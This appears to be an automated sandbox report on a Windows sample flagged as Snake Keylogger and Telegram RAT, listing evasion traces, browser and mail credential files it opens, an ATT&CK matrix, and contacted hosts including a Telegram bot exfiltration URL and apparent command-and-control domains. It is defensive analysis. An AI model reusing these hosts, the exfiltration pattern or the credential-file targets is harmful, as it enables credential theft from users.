Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -598485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -595967s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -595859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -595750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -595641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -595516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -595391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -595172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -595063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -594938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -594813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -594703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -594594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -594469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -594359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -594250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe TID: 5316	Thread sleep time: -594141s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 0_2_004055FF GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004055FF
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 0_2_004060BA FindFirstFileW,FindClose,	0_2_004060BA
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 0_2_00402770 FindFirstFileW,	0_2_00402770
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_00402770 FindFirstFileW,	4_2_00402770
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_004055FF GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_004055FF
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_004060BA FindFirstFileW,FindClose,	4_2_004060BA

Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595967	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595641	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594359	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594250	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Thread delayed: delay time: 594141	Jump to behavior

Source: Fa24c148.exe, 00000004.00000002.2930604280.0000000002F69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhMw
Source: Fa24c148.exe, 00000004.00000002.2930604280.0000000002F69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Fa24c148.exe, 00000004.00000002.2930604280.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH

Source: C:\Users\user\Desktop\Fa24c148.exe	API call chain: ExitProcess graph end node			graph_0-4821
Source: C:\Users\user\Desktop\Fa24c148.exe	API call chain: ExitProcess graph end node			graph_0-4815

Source: C:\Users\user\Desktop\Fa24c148.exe

Code function: 0_2_004060E1 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004060E1

Source: C:\Users\user\Desktop\Fa24c148.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe

Process created: C:\Users\user\Desktop\Fa24c148.exe "C:\Users\user\Desktop\Fa24c148.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe	Queries volume information: C:\Users\user\Desktop\Fa24c148.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe

Code function: 0_2_00405D99 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405D99

Source: C:\Users\user\Desktop\Fa24c148.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: Fa24c148.exe PID: 1440, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Fa24c148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Fa24c148.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Fa24c148.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000004.00000002.2951440746.00000000336C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Fa24c148.exe PID: 1440, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: Fa24c148.exe PID: 1440, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	12 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Fa24c148.exe	16%	ReversingLabs	Win32.Trojan.Garf

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.185.206	true	false	unknown
drive.usercontent.google.com	142.250.186.65	true	false	unknown
reallyfreegeoip.org	188.114.97.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	132.226.247.73	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2028/10/2024%20/%2022:44:07%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
https://reallyfreegeoip.org/xml/155.94.241.188	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	Fa24c148.exe, 00000004.00000002.2951440746.00000000337B3000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.00000000336C9000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.00000000337A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20a	Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.office.com/lB	Fa24c148.exe, 00000004.00000002.2951440746.00000000337AE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com/	Fa24c148.exe, 00000004.00000003.2115761364.0000000002F76000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2930604280.0000000002F69000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	Fa24c148.exe, 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Fa24c148.exe, 00000004.00000002.2952797218.0000000034699000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.00000000346E7000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.00000000336C9000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034940000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003483D000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003470E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Fa24c148.exe	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Fa24c148.exe, 00000004.00000002.2952797218.0000000034699000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.00000000346E7000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.00000000336C9000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034940000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003483D000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003470E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	Fa24c148.exe, 00000004.00000002.2951440746.0000000033782000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/155.94.241.188$	Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.0000000033637000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.000000003367D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://varders.kozow.com:8081	Fa24c148.exe, 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	Fa24c148.exe, 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	Fa24c148.exe, 00000004.00000003.2078462414.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F6F000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.google.com/	Fa24c148.exe, 00000004.00000002.2930604280.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	Fa24c148.exe, 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Fa24c148.exe, 00000004.00000002.2952797218.00000000346E9000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034674000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003469F000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034843000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034818000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003491B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	Fa24c148.exe, 00000004.00000002.2951440746.000000003377D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/o	Fa24c148.exe, 00000004.00000002.2930604280.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org	Fa24c148.exe, 00000004.00000002.2951440746.000000003360D000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.000000003367D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	Fa24c148.exe, 00000004.00000003.2078462414.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F6F000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Fa24c148.exe, 00000004.00000002.2952797218.00000000346E9000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034674000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003469F000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034843000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034818000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003491B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
